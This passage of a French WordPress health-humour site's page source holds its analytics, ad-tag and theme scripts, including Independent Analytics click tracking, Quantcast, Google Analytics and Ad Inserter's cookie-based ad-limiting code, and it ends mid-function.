const calculateParentDistance = (child, parent) => {
let count = 0;
let currentElement = child;
// Traverse up the DOM tree until we reach parent or the top of the DOM
while (currentElement && currentElement !== parent) {
currentElement = currentElement.parentNode;
count++;
}
// If parent was not found in the hierarchy, return -1
if (!currentElement) {
return -1; // Indicates parent is not an ancestor of element
}
return count; // Number of layers between element and parent
}
const isMatchingClass = (linkRule, href, classes, ids) => {
return classes.includes(linkRule.value)
}
const isMatchingId = (linkRule, href, classes, ids) => {
return ids.includes(linkRule.value)
}
const isMatchingDomain = (linkRule, href, classes, ids) => {
if(!URL.canParse(href)) {
return false
}
const url = new URL(href)
return linkRule.value === url.host
}
const isMatchingExtension = (linkRule, href, classes, ids) => {
if(!URL.canParse(href)) {
return false
}
const url = new URL(href)
return url.pathname.endsWith('.' + linkRule.value)
}
const isMatchingSubdirectory = (linkRule, href, classes, ids) => {
if(!URL.canParse(href)) {
return false
}
const url = new URL(href)
return url.pathname.startsWith('/' + linkRule.value + '/')
}
const isMatchingProtocol = (linkRule, href, classes, ids) => {
if(!URL.canParse(href)) {
return false
}
const url = new URL(href)
return url.protocol === linkRule.value + ':'
}
const isMatchingExternal = (linkRule, href, classes, ids) => {
if(!URL.canParse(href) || !URL.canParse(document.location.href)) {
return false
}
const matchingProtocols = ['http:', 'https:']
const siteUrl = new URL(document.location.href)
const linkUrl = new URL(href)
// Links to subdomains will appear to be external matches according to JavaScript,
// but the PHP rules will filter those events out.
return matchingProtocols.includes(linkUrl.protocol) && siteUrl.host !== linkUrl.host
}
const isMatch = (linkRule, href, classes, ids) => {
switch (linkRule.type) {
case 'class':
return isMatchingClass(linkRule, href, classes, ids)
case 'id':
return isMatchingId(linkRule, href, classes, ids)
case 'domain':
return isMatchingDomain(linkRule, href, classes, ids)
case 'extension':
return isMatchingExtension(linkRule, href, classes, ids)
case 'subdirectory':
return isMatchingSubdirectory(linkRule, href, classes, ids)
case 'protocol':
return isMatchingProtocol(linkRule, href, classes, ids)
case 'external':
return isMatchingExternal(linkRule, href, classes, ids)
default:
return false;
}
}
const track = (element) => {
const href = element.href ?? null
const classes = Array.from(element.classList)
const ids = [element.id]
const linkRules = [{"type":"extension","value":"pdf"},{"type":"extension","value":"zip"},{"type":"protocol","value":"mailto"},{"type":"protocol","value":"tel"}]
if(linkRules.length === 0) {
return
}
// For link rules that target an id, we need to allow that id to appear
// in any ancestor up to the 7th ancestor. This loop looks for those matches
// and counts them.
linkRules.forEach((linkRule) => {
if(linkRule.type !== 'id') {
return;
}
const matchingAncestor = element.closest('#' + linkRule.value)
if(!matchingAncestor || matchingAncestor.matches('html, body')) {
return;
}
const depth = calculateParentDistance(element, matchingAncestor)
if(depth < 7) {
ids.push(linkRule.value)
}
});
// For link rules that target a class, we need to allow that class to appear
// in any ancestor up to the 7th ancestor. This loop looks for those matches
// and counts them.
linkRules.forEach((linkRule) => {
if(linkRule.type !== 'class') {
return;
}
const matchingAncestor = element.closest('.' + linkRule.value)
if(!matchingAncestor || matchingAncestor.matches('html, body')) {
return;
}
const depth = calculateParentDistance(element, matchingAncestor)
if(depth < 7) {
classes.push(linkRule.value)
}
});
const hasMatch = linkRules.some((linkRule) => {
return isMatch(linkRule, href, classes, ids)
})
if(!hasMatch) {
return
}
const url = "https://docteurtamalou.fr/wp-content/plugins/independent-analytics/iawp-click-endpoint.php";
const body = {
href: href,
classes: classes.join(' '),
ids: ids.join(' '),
...{"payload":{"resource":"home","page":1},"signature":"2f978ca3cff8374f882c2bbdc378533d"} };
if (navigator.sendBeacon) {
let blob = new Blob([JSON.stringify(body)], {
type: "application/json"
});
navigator.sendBeacon(url, blob);
} else {
const xhr = new XMLHttpRequest();
xhr.open("POST", url, true);
xhr.setRequestHeader("Content-Type", "application/json;charset=UTF-8");
xhr.send(JSON.stringify(body))
}
}
document.addEventListener('mousedown', function (event) {
if (navigator.webdriver || /bot|crawler|spider|crawling|semrushbot|chrome-lighthouse/i.test(navigator.userAgent)) {
return;
}
const element = event.target.closest('a')
if(!element) {
return
}
const isPro = false
if(!isPro) {
return
}
// Don't track left clicks with this event. The click event is used for that.
if(event.button === 0) {
return
}
track(element)
})
document.addEventListener('click', function (event) {
if (navigator.webdriver || /bot|crawler|spider|crawling|semrushbot|chrome-lighthouse/i.test(navigator.userAgent)) {
return;
}
const element = event.target.closest('a, button, input[type="submit"], input[type="button"]')
if(!element) {
return
}
const isPro = false
if(!isPro) {
return
}
track(element)
})
document.addEventListener('play', function (event) {
if (navigator.webdriver || /bot|crawler|spider|crawling|semrushbot|chrome-lighthouse/i.test(navigator.userAgent)) {
return;
}
const element = event.target.closest('audio, video')
if(!element) {
return
}
const isPro = false
if(!isPro) {
return
}
track(element)
}, true)
document.addEventListener("DOMContentLoaded", function (e) {
if (document.hasOwnProperty("visibilityState") && document.visibilityState === "prerender") {
return;
}
if (navigator.webdriver || /bot|crawler|spider|crawling|semrushbot|chrome-lighthouse/i.test(navigator.userAgent)) {
return;
}
let referrer_url = null;
if (typeof document.referrer === 'string' && document.referrer.length > 0) {
referrer_url = document.referrer;
}
const params = location.search.slice(1).split('&').reduce((acc, s) => {
const [k, v] = s.split('=');
return Object.assign(acc, {[k]: v});
}, {});
const url = "https://docteurtamalou.fr/wp-json/iawp/search";
const body = {
referrer_url,
utm_source: params.utm_source,
utm_medium: params.utm_medium,
utm_campaign: params.utm_campaign,
utm_term: params.utm_term,
utm_content: params.utm_content,
gclid: params.gclid,
...{"payload":{"resource":"home","page":1},"signature":"2f978ca3cff8374f882c2bbdc378533d"} };
if (navigator.sendBeacon) {
let blob = new Blob([JSON.stringify(body)], {
type: "application/json"
});
navigator.sendBeacon(url, blob);
} else {
const xhr = new XMLHttpRequest();
xhr.open("POST", url, true);
xhr.setRequestHeader("Content-Type", "application/json;charset=UTF-8");
xhr.send(JSON.stringify(body))
}
});
})();
</script>
<script async defer data-pin-hover="true" data-pin-tall="true" src="//assets.pinterest.com/js/pinit.js"></script>
<script async defer src="//assets.pinterest.com/js/pinit.js"></script>
<script>
window.impactifyTag = window.impactifyTag || [];
impactifyTag.push({
appId: 'docteurtamalou.fr'
,format: 'screen'
});
(function(d, s, id) {
var js, ijs = d.getElementsByTagName(s)[0];
if (d.getElementById(id)) return;
js = d.createElement(s); js.id = id;
js.src = 'https://ad.impactify.io/static/ad/tag.js';
ijs.parentNode.insertBefore(js, ijs);
}(document, 'script', 'impactify-sdk'));
</script> <!-- Quantcast Tag -->
<script type="text/javascript">
var _qevents = _qevents || [];
(function() {
var elem = document.createElement('script');
elem.src = (document.location.protocol == "https:" ? "https://secure" : "http://edge") + ".quantserve.com/quant.js";
elem.async = true;
elem.type = "text/javascript";
var scpt = document.getElementsByTagName('script')[0];
scpt.parentNode.insertBefore(elem, scpt);
})();
_qevents.push({
qacct:"p-2wk5TvYXYE76H",
source:"wp"
});
</script>
<noscript>
<div style="display:none;">
<img loading="lazy" src="//pixel.quantserve.com/pixel/p-2wk5TvYXYE76H.gif" border="0" height="1" width="1" alt="Quantcast"/>
</div>
</noscript>
<!-- End Quantcast tag -->
<script>
const lazyloadRunObserver = () => {
const lazyloadBackgrounds = document.querySelectorAll( `.e-con.e-parent:not(.e-lazyloaded)` );
const lazyloadBackgroundObserver = new IntersectionObserver( ( entries ) => {
entries.forEach( ( entry ) => {
if ( entry.isIntersecting ) {
let lazyloadBackground = entry.target;
if( lazyloadBackground ) {
lazyloadBackground.classList.add( 'e-lazyloaded' );
}
lazyloadBackgroundObserver.unobserve( entry.target );
}
});
}, { rootMargin: '200px 0px 200px 0px' } );
lazyloadBackgrounds.forEach( ( lazyloadBackground ) => {
lazyloadBackgroundObserver.observe( lazyloadBackground );
} );
};
const events = [
'DOMContentLoaded',
'elementor/lazyload/observe',
];
events.forEach( ( event ) => {
document.addEventListener( event, lazyloadRunObserver );
} );
</script>
<script type="text/javascript" src="https://docteurtamalou.fr/wp-content/themes/bimber/js/stickyfill/stickyfill.min.js?ver=2.0.3" id="stickyfill-js"></script>
<script type="text/javascript" src="https://docteurtamalou.fr/wp-content/themes/bimber/js/jquery.placeholder/placeholders.jquery.min.js?ver=4.0.1" id="jquery-placeholder-js"></script>
<script type="text/javascript" src="https://docteurtamalou.fr/wp-content/themes/bimber/js/jquery.timeago/jquery.timeago.js?ver=1.5.2" id="jquery-timeago-js"></script>
<script type="text/javascript" src="https://docteurtamalou.fr/wp-content/themes/bimber/js/jquery.timeago/locales/jquery.timeago.fr.js" id="jquery-timeago-fr-js"></script>
<script type="text/javascript" src="https://docteurtamalou.fr/wp-content/themes/bimber/js/matchmedia/matchmedia.js" id="match-media-js"></script>
<script type="text/javascript" src="https://docteurtamalou.fr/wp-content/themes/bimber/js/matchmedia/matchmedia.addlistener.js" id="match-media-add-listener-js"></script>
<script type="text/javascript" src="https://docteurtamalou.fr/wp-content/themes/bimber/js/picturefill/picturefill.min.js?ver=2.3.1" id="picturefill-js"></script>
<script type="text/javascript" src="https://docteurtamalou.fr/wp-content/themes/bimber/js/jquery.waypoints/jquery.waypoints.min.js?ver=4.0.0" id="jquery-waypoints-js"></script>
<script type="text/javascript" src="https://docteurtamalou.fr/wp-content/themes/bimber/js/enquire/enquire.min.js?ver=2.1.2" id="enquire-js"></script>
<script type="text/javascript" id="bimber-global-js-extra">
/* <![CDATA[ */
var bimber_front_config = {"debug_mode":"","ajax_url":"https:\/\/docteurtamalou.fr\/wp-admin\/admin-ajax.php","timeago":"off","sharebar":"off","i18n":{"menu":{"go_to":"Go to"},"newsletter":{"subscribe_mail_subject_tpl":"Check out this great article: %subject%"},"bp_profile_nav":{"more_link":"More"}},"comment_types":["wp"],"auto_load_limit":"0","auto_play_videos":"","use_gif_player":"1","setTargetBlank":"1","useWaypoints":"1","stack":"original-2018"};
/* ]]> */
</script>
<script type="text/javascript" src="https://docteurtamalou.fr/wp-content/themes/bimber/js/global.js?ver=9.2.5" id="bimber-global-js"></script>
<script type="text/javascript" src="https://docteurtamalou.fr/wp-includes/js/jquery/ui/core.min.js?ver=1.13.3" id="jquery-ui-core-js"></script>
<script type="text/javascript" src="https://docteurtamalou.fr/wp-includes/js/jquery/ui/menu.min.js?ver=1.13.3" id="jquery-ui-menu-js"></script>
<script type="text/javascript" src="https://docteurtamalou.fr/wp-includes/js/dist/dom-ready.min.js?ver=f77871ff7694fffea381" id="wp-dom-ready-js"></script>
<script type="text/javascript" src="https://docteurtamalou.fr/wp-includes/js/dist/hooks.min.js?ver=4d63a3d491d11ffd8ac6" id="wp-hooks-js"></script>
<script type="text/javascript" src="https://docteurtamalou.fr/wp-includes/js/dist/i18n.min.js?ver=5e580eb46a90c2b997e6" id="wp-i18n-js"></script>
<script type="text/javascript" id="wp-i18n-js-after">
/* <![CDATA[ */
wp.i18n.setLocaleData( { 'text direction\u0004ltr': [ 'ltr' ] } );
/* ]]> */
</script>
<script type="text/javascript" id="wp-a11y-js-translations">
/* <![CDATA[ */
( function( domain, translations ) {
var localeData = translations.locale_data[ domain ] || translations.locale_data.messages;
localeData[""].domain = domain;
wp.i18n.setLocaleData( localeData, domain );
} )( "default", {"translation-revision-date":"2025-04-23 17:57:08+0000","generator":"GlotPress\/4.0.1","domain":"messages","locale_data":{"messages":{"":{"domain":"messages","plural-forms":"nplurals=2; plural=n > 1;","lang":"fr"},"Notifications":["Notifications"]}},"comment":{"reference":"wp-includes\/js\/dist\/a11y.js"}} );
/* ]]> */
</script>
<script type="text/javascript" src="https://docteurtamalou.fr/wp-includes/js/dist/a11y.min.js?ver=3156534cc54473497e14" id="wp-a11y-js"></script>
<script type="text/javascript" src="https://docteurtamalou.fr/wp-includes/js/jquery/ui/autocomplete.min.js?ver=1.13.3" id="jquery-ui-autocomplete-js"></script>
<script type="text/javascript" src="https://docteurtamalou.fr/wp-content/themes/bimber/js/ajax-search.js?ver=9.2.5" id="bimber-ajax-search-js"></script>
<script type="text/javascript" src="https://docteurtamalou.fr/wp-content/themes/bimber/js/back-to-top.js?ver=9.2.5" id="bimber-back-to-top-js"></script>
<script>window.GA_ID='G-M0R80QQN0Z'</script><script src='https://docteurtamalou.fr/wp-content/plugins/flying-analytics/js/gtag.js' defer></script><script>window.dataLayer = window.dataLayer || [];function gtag(){dataLayer.push(arguments);}gtag('js', new Date());gtag('config', 'G-M0R80QQN0Z');</script><script>
function b2a(a){var b,c=0,l=0,f="",g=[];if(!a)return a;do{var e=a.charCodeAt(c++);var h=a.charCodeAt(c++);var k=a.charCodeAt(c++);var d=e<<16|h<<8|k;e=63&d>>18;h=63&d>>12;k=63&d>>6;d&=63;g[l++]="ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=".charAt(e)+"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=".charAt(h)+"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=".charAt(k)+"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=".charAt(d)}while(c<
a.length);return f=g.join(""),b=a.length%3,(b?f.slice(0,b-3):f)+"===".slice(b||3)}function a2b(a){var b,c,l,f={},g=0,e=0,h="",k=String.fromCharCode,d=a.length;for(b=0;64>b;b++)f["ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/".charAt(b)]=b;for(c=0;d>c;c++)for(b=f[a.charAt(c)],g=(g<<6)+b,e+=6;8<=e;)((l=255&g>>>(e-=8))||d-2>c)&&(h+=k(l));return h}b64e=function(a){return btoa(encodeURIComponent(a).replace(/%([0-9A-F]{2})/g,function(b,a){return String.fromCharCode("0x"+a)}))};
b64d=function(a){return decodeURIComponent(atob(a).split("").map(function(a){return"%"+("00"+a.charCodeAt(0).toString(16)).slice(-2)}).join(""))};
/* <![CDATA[ */
ai_front = {"insertion_before":"Avant","insertion_after":"Apr\u00e8s","insertion_prepend":"Mettre le contenu avant","insertion_append":"Ajouter le contenu","insertion_replace_content":"Remplacer le contenu","insertion_replace_element":"Remplacer l\u02bc\u00e9l\u00e9ment","visible":"Visible","hidden":"Masqu\u00e9","fallback":"Alternative","automatically_placed":"Plac\u00e9 automatiquement par le code d\u02bcannonces automatiques AdSense","cancel":"Annuler","use":"Utilisation","add":"Ajouter","parent":"Parent","cancel_element_selection":"Annuler la s\u00e9lection d\u02bc\u00e9l\u00e9ments","select_parent_element":"S\u00e9lectionnez l\u02bc\u00e9l\u00e9ment parent","css_selector":"S\u00e9lecteur CSS","use_current_selector":"Utiliser le s\u00e9lecteur de courant","element":"\u00c9l\u00e9ment","path":"Chemin","selector":"S\u00e9lecteur"};
/* ]]> */
var ai_cookie_js=!0,ai_block_class_def="code-block";
/*
js-cookie v3.0.5 | MIT JavaScript Cookie v2.2.0
https://github.com/js-cookie/js-cookie
Copyright 2006, 2015 Klaus Hartl & Fagner Brack
Released under the MIT license
*/
if("undefined"!==typeof ai_cookie_js){(function(a,f){"object"===typeof exports&&"undefined"!==typeof module?module.exports=f():"function"===typeof define&&define.amd?define(f):(a="undefined"!==typeof globalThis?globalThis:a||self,function(){var b=a.Cookies,c=a.Cookies=f();c.noConflict=function(){a.Cookies=b;return c}}())})(this,function(){function a(b){for(var c=1;c<arguments.length;c++){var g=arguments[c],e;for(e in g)b[e]=g[e]}return b}function f(b,c){function g(e,d,h){if("undefined"!==typeof document){h=
a({},c,h);"number"===typeof h.expires&&(h.expires=new Date(Date.now()+864E5*h.expires));h.expires&&(h.expires=h.expires.toUTCString());e=encodeURIComponent(e).replace(/%(2[346B]|5E|60|7C)/g,decodeURIComponent).replace(/[()]/g,escape);var l="",k;for(k in h)h[k]&&(l+="; "+k,!0!==h[k]&&(l+="="+h[k].split(";")[0]));return document.cookie=e+"="+b.write(d,e)+l}}return Object.create({set:g,get:function(e){if("undefined"!==typeof document&&(!arguments.length||e)){for(var d=document.cookie?document.cookie.split("; "):
[],h={},l=0;l<d.length;l++){var k=d[l].split("="),p=k.slice(1).join("=");try{var n=decodeURIComponent(k[0]);h[n]=b.read(p,n);if(e===n)break}catch(q){}}return e?h[e]:h}},remove:function(e,d){g(e,"",a({},d,{expires:-1}))},withAttributes:function(e){return f(this.converter,a({},this.attributes,e))},withConverter:function(e){return f(a({},this.converter,e),this.attributes)}},{attributes:{value:Object.freeze(c)},converter:{value:Object.freeze(b)}})}return f({read:function(b){'"'===b[0]&&(b=b.slice(1,-1));
return b.replace(/(%[\dA-F]{2})+/gi,decodeURIComponent)},write:function(b){return encodeURIComponent(b).replace(/%(2[346BF]|3[AC-F]|40|5[BDE]|60|7[BCD])/g,decodeURIComponent)}},{path:"/"})});AiCookies=Cookies.noConflict();function m(a){if(null==a)return a;'"'===a.charAt(0)&&(a=a.slice(1,-1));try{a=JSON.parse(a)}catch(f){}return a}ai_check_block=function(a){var f="undefined"!==typeof ai_debugging;if(null==a)return!0;var b=m(AiCookies.get("aiBLOCKS"));ai_debug_cookie_status="";null==b&&(b={});"undefined"!==
typeof ai_delay_showing_pageviews&&(b.hasOwnProperty(a)||(b[a]={}),b[a].hasOwnProperty("d")||(b[a].d=ai_delay_showing_pageviews,f&&console.log("AI CHECK block",a,"NO COOKIE DATA d, delayed for",ai_delay_showing_pageviews,"pageviews")));if(b.hasOwnProperty(a)){for(var c in b[a]){if("x"==c){var g="",e=document.querySelectorAll('span[data-ai-block="'+a+'"]')[0];"aiHash"in e.dataset&&(g=e.dataset.aiHash);e="";b[a].hasOwnProperty("h")&&(e=b[a].h);f&&console.log("AI CHECK block",a,"x cookie hash",e,"code hash",
g);var d=new Date;d=b[a][c]-Math.round(d.getTime()/1E3);if(0<d&&e==g)return ai_debug_cookie_status=b="closed for "+d+" s = "+Math.round(1E4*d/3600/24)/1E4+" days",f&&console.log("AI CHECK block",a,b),f&&console.log(""),!1;f&&console.log("AI CHECK block",a,"removing x");ai_set_cookie(a,"x","");b[a].hasOwnProperty("i")||b[a].hasOwnProperty("c")||ai_set_cookie(a,"h","")}else if("d"==c){if(0!=b[a][c])return ai_debug_cookie_status=b="delayed for "+b[a][c]+" pageviews",f&&console.log("AI CHECK block",a,
b),f&&console.log(""),!1}else if("i"==c){g="";e=document.querySelectorAll('span[data-ai-block="'+a+'"]')[0];"aiHash"in e.dataset&&(g=e.dataset.aiHash);e="";b[a].hasOwnProperty("h")&&(e=b[a].h);f&&console.log("AI CHECK block",a,"i cookie hash",e,"code hash",g);if(0==b[a][c]&&e==g)return ai_debug_cookie_status=b="max impressions reached",f&&console.log("AI CHECK block",a,b),f&&console.log(""),!1;if(0>b[a][c]&&e==g){d=new Date;d=-b[a][c]-Math.round(d.getTime()/1E3);if(0<d)return ai_debug_cookie_status=
b="max imp. reached ("+Math.round(1E4*d/24/3600)/1E4+" days = "+d+" s)",f&&console.log("AI CHECK block",a,b),f&&console.log(""),!1;f&&console.log("AI CHECK block",a,"removing i");ai_set_cookie(a,"i","");b[a].hasOwnProperty("c")||b[a].hasOwnProperty("x")||(f&&console.log("AI CHECK block",a,"cookie h removed"),ai_set_cookie(a,"h",""))}}if("ipt"==c&&0==b[a][c]&&(d=new Date,g=Math.round(d.getTime()/1E3),d=b[a].it-g,0<d))return ai_debug_cookie_status=b="max imp. per time reached ("+Math.round(1E4*d/24/
3600)/1E4+" days = "+d+" s)",f&&console.log("AI CHECK block",a,b),f&&console.log(""),!1;if("c"==c){g="";e=document.querySelectorAll('span[data-ai-block="'+a+'"]')[0];"aiHash"in e.dataset&&(g=e.dataset.aiHash);e="";b[a].hasOwnProperty("h")&&(e=b[a].h);f&&console.log("AI CHECK block",a,"c cookie hash",e,"code hash",g);if(0==b[a][c]&&e==g)return ai_debug_cookie_status=b="max clicks reached",f&&console.log("AI CHECK block",a,b),f&&console.log(""),!1;if(0>b[a][c]&&e==g){d=new Date;d=-b[a][c]-Math.round(d.getTime()/
1E3);if(0<d)return ai_debug_cookie_status=b="max clicks reached ("+Math.round(1E4*d/24/3600)/1E4+" days = "+d+" s)",f&&console.log("AI CHECK block",a,b),f&&console.log(""),!1;f&&console.log("AI CHECK block",a,"removing c");ai_set_cookie(a,"c","");b[a].hasOwnProperty("i")||b[a].hasOwnProperty("x")||(f&&console.log("AI CHECK block",a,"cookie h removed"),ai_set_cookie(a,"h",""))}}if("cpt"==c&&0==b[a][c]&&(d=new Date,g=Math.round(d.getTime()/1E3),d=b[a].ct-g,0<d))return ai_debug_cookie_status=b="max clicks per time reached ("+
Math.round(1E4*d/24/3600)/1E4+" days = "+d+" s)",f&&console.log("AI CHECK block",a,b),f&&console.log(""),!1}if(b.hasOwnProperty("G")&&b.G.hasOwnProperty("cpt")&&0==b.G.cpt&&(d=new Date,g=Math.round(d.getTime()/1E3),d=b.G.ct-g,0<d))return ai_debug_cookie_status=b="max global clicks per time reached ("+Math.round(1E4*d/24/3600)/1E4+" days = "+d+" s)",f&&console.log("AI CHECK GLOBAL",b),f&&console.log(""),!1}ai_debug_cookie_status="OK";f&&console.log("AI CHECK block",a,"OK");f&&console.log("");return!0};
ai_check_and_insert_block=function(a,f){var b="undefined"!==typeof ai_debugging;if(null==a)return!0;var c=document.getElementsByClassName(f);if(c.length){c=c[0];var g=c.closest("."+ai_block_class_def),e=ai_check_block(a);!e&&0!=parseInt(c.getAttribute("limits-fallback"))&&c.hasAttribute("data-fallback-code")&&(b&&console.log("AI CHECK FAILED, INSERTING FALLBACK BLOCK",c.getAttribute("limits-fallback")),c.setAttribute("data-code",c.getAttribute("data-fallback-code")),null!=g&&g.hasAttribute("data-ai")&&
c.hasAttribute("fallback-tracking")&&c.hasAttribute("fallback_level")&&g.setAttribute("data-ai-"+c.getAttribute("fallback_level"),c.getAttribute("fallback-tracking")),e=!0);c.removeAttribute("data-selector");e?(ai_insert_code(c),g&&(b=g.querySelectorAll(".ai-debug-block"),b.length&&(g.classList.remove("ai-list-block"),g.classList.remove("ai-list-block-ip"),g.classList.remove("ai-list-block-filter"),g.style.visibility="",g.classList.contains("ai-remove-position")&&(g.style.position="")))):(b=c.closest("div[data-ai]"),
null!=b&&"undefined"!=typeof b.getAttribute("data-ai")&&(e=JSON.parse(b64d(b.getAttribute("data-ai"))),"undefined"!==typeof e&&e.constructor===Array&&(e[1]="",b.setAttribute("data-ai",b64e(JSON.stringify(e))))),g&&(b=g.querySelectorAll(".ai-debug-block"),b.length&&(g.classList.remove("ai-list-block"),g.classList.remove("ai-list-block-ip"),g.classList.remove("ai-list-block-filter"),g.style.visibility="",g.classList.contains("ai-remove-position")&&(g.style.position=""))));c.classList.remove(f)}c=document.querySelectorAll("."+
f+"-dbg");g=0;for(b=c.length;g<b;g++)e=c[g],e.querySelector(".ai-status").textContent=ai_debug_cookie_status,e.querySelector(".ai-cookie-data").textContent=ai_get_cookie_text(a),e.classList.remove(f+"-dbg")};ai_load_cookie=function(){var a="undefined"!==typeof ai_debugging,f=m(AiCookies.get("aiBLOCKS"));null==f&&(f={},a&&console.log("AI COOKIE NOT PRESENT"));a&&console.log("AI COOKIE LOAD",f);return f};ai_set_cookie=function(a,f,b){var c="undefined"!==typeof ai_debugging;c&&console.log("AI COOKIE SET block:",
a,"property:",f,"value:",b);var g=ai_load_cookie();if(""===b){if(g.hasOwnProperty(a)){delete g[a][f];a:{f=g[a];for(e in f)if(f.hasOwnProperty(e)){var e=!1;break a}e=!0}e&&delete g[a]}}else g.hasOwnProperty(a)||(g[a]={}),g[a][f]=b;0===Object.keys(g).length&&g.constructor===Object?(AiCookies.remove("aiBLOCKS"),c&&console.log("AI COOKIE REMOVED")):AiCookies.set("aiBLOCKS",JSON.stringify(g),{expires:365,path:"/"});if(c)if(a=m(AiCookies.get("aiBLOCKS")),"undefined"!=typeof a){console.log("AI COOKIE NEW",
a);console.log("AI COOKIE DATA:");for(var d in a){for(var h in a[d])"x"==h?(c=new Date,c=a[d][h]-Math.round(c.getTime()/1E3),console.log(" BLOCK",d,"closed for",c,"s = ",Math.round(1E4*c/3600/24)/1E4,"days")):"d"==h?console.log(" BLOCK",d,"delayed for",a[d][h],"pageviews"):"e"==h?console.log(" BLOCK",d,"show every",a[d][h],"pageviews"):"i"==h?(e=a[d][h],0<=e?console.log(" BLOCK",d,a[d][h],"impressions until limit"):(c=new Date,c=-e-Math.round(c.getTime()/1E3),console.log(" BLOCK",d,"max impressions, closed for",
c,"s =",Math.round(1E4*c/3600/24)/1E4,"days"))):"ipt"==h?console.log(" BLOCK",d,a[d][h],"impressions until limit per time period"):"it"==h?(c=new Date,c=a[d][h]-Math.round(c.getTime()/1E3),console.log(" BLOCK",d,"impressions limit expiration in",c,"s =",Math.round(1E4*c/3600/24)/1E4,"days")):"c"==h?(e=a[d][h],0<=e?console.log(" BLOCK",d,e,"clicks until limit"):(c=new Date,c=-e-Math.round(c.getTime()/1E3),console.log(" BLOCK",d,"max clicks, closed for",c,"s =",Math.round(1E4*c/3600/24)/1E4,"days"))):
"cpt"==h?console.log(" BLOCK",d,a[d][h],"clicks until limit per time period"):"ct"==h?(c=new Date,c=a[d][h]-Math.round(c.getTime()/1E3),console.log(" BLOCK",d,"clicks limit expiration in ",c,"s =",Math.round(1E4*c/3600/24)/1E4,"days")):"h"==h?console.log(" BLOCK",d,"hash",a[d][h]):console.log(" ?:",d,":",h,a[d][h]);console.log("")}}else console.log("AI COOKIE NOT PRESENT");return g};ai_get_cookie_text=function(a){var f=m(AiCookies.get("aiBLOCKS"));null==f&&(f={});var b="";f.hasOwnProperty("G")&&
(b="G["+JSON.stringify(f.G).replace(/"/g,"").replace("{","").replace("}","")+"] ");var c="";f.hasOwnProperty(a)&&(c=JSON.stringify(f[a]).replace(/"/g,"").replace("{","").replace("}",""));return b+c}};
var ai_insertion_js=!0,ai_block_class_def="code-block";
if("undefined"!=typeof ai_insertion_js){ai_insert=function(a,h,l){if(-1!=h.indexOf(":eq("))if(window.jQuery&&window.jQuery.fn)var n=jQuery(h);else{console.error("AI INSERT USING jQuery QUERIES:",h,"- jQuery not found");return}else n=document.querySelectorAll(h);for(var u=0,y=n.length;u<y;u++){var d=n[u];selector_string=d.hasAttribute("id")?"#"+d.getAttribute("id"):d.hasAttribute("class")?"."+d.getAttribute("class").replace(RegExp(" ","g"),"."):"";var w=document.createElement("div");w.innerHTML=l;
var m=w.getElementsByClassName("ai-selector-counter")[0];null!=m&&(m.innerText=u+1);m=w.getElementsByClassName("ai-debug-name ai-main")[0];if(null!=m){var r=a.toUpperCase();"undefined"!=typeof ai_front&&("before"==a?r=ai_front.insertion_before:"after"==a?r=ai_front.insertion_after:"prepend"==a?r=ai_front.insertion_prepend:"append"==a?r=ai_front.insertion_append:"replace-content"==a?r=ai_front.insertion_replace_content:"replace-element"==a&&(r=ai_front.insertion_replace_element));-1==selector_string.indexOf(".ai-viewports")&&
(m.innerText=r+" "+h+" ("+d.tagName.toLowerCase()+selector_string+")")}m=document.createRange();try{var v=m.createContextualFragment(w.innerHTML)}catch(t){}"before"==a?d.parentNode.insertBefore(v,d):"after"==a?d.parentNode.insertBefore(v,d.nextSibling):"prepend"==a?d.insertBefore(v,d.firstChild):"append"==a?d.insertBefore(v,null):"replace-content"==a?(d.innerHTML="",d.insertBefore(v,null)):"replace-element"==a&&(d.parentNode.insertBefore(v,d),d.parentNode.removeChild(d));z()}};ai_insert_code=function(a){function h(m,
r){return null==m?!1:m.classList?m.classList.contains(r):-1<(" "+m.className+" ").indexOf(" "+r+" ")}function l(m,r){null!=m&&(m.classList?m.classList.add(r):m.className+=" "+r)}function n(m,r){null!=m&&(m.classList?m.classList.remove(r):m.className=m.className.replace(new RegExp("(^|\\b)"+r.split(" ").join("|")+"(\\b|$)","gi")," "))}if("undefined"!=typeof a){var u=!1;if(h(a,"no-visibility-check")||a.offsetWidth||a.offsetHeight||a.getClientRects().length){u=a.getAttribute("data-code");var y=a.getAttribute("data-insertion-position"),
d=a.getAttribute("data-selector");if(null!=u)if(null!=y&&null!=d){if(-1!=d.indexOf(":eq(")?window.jQuery&&window.jQuery.fn&&jQuery(d).length:document.querySelectorAll(d).length)ai_insert(y,d,b64d(u)),n(a,"ai-viewports")}else{y=document.createRange();try{var w=y.createContextualFragment(b64d(u))}catch(m){}a.parentNode.insertBefore(w,a.nextSibling);n(a,"ai-viewports")}u=!0}else w=a.previousElementSibling,h(w,"ai-debug-bar")&&h(w,"ai-debug-script")&&(n(w,"ai-debug-script"),l(w,"ai-debug-viewport-invisible")),
n(a,"ai-viewports");return u}};ai_insert_list_code=function(a){var h=document.getElementsByClassName(a)[0];if("undefined"!=typeof h){var l=ai_insert_code(h),n=h.closest("div."+ai_block_class_def);if(n){l||n.removeAttribute("data-ai");var u=n.querySelectorAll(".ai-debug-block");n&&u.length&&(n.classList.remove("ai-list-block"),n.classList.remove("ai-list-block-ip"),n.classList.remove("ai-list-block-filter"),n.style.visibility="",n.classList.contains("ai-remove-position")&&(n.style.position=""))}h.classList.remove(a);
l&&z()}};ai_insert_viewport_code=function(a){var h=document.getElementsByClassName(a)[0];if("undefined"!=typeof h){var l=ai_insert_code(h);h.classList.remove(a);l&&(a=h.closest("div."+ai_block_class_def),null!=a&&(l=h.getAttribute("style"),null!=l&&a.setAttribute("style",a.getAttribute("style")+" "+l)));setTimeout(function(){h.removeAttribute("style")},2);z()}};ai_insert_adsense_fallback_codes=function(a){a.style.display="none";var h=a.closest(".ai-fallback-adsense"),l=h.nextElementSibling;l.getAttribute("data-code")?
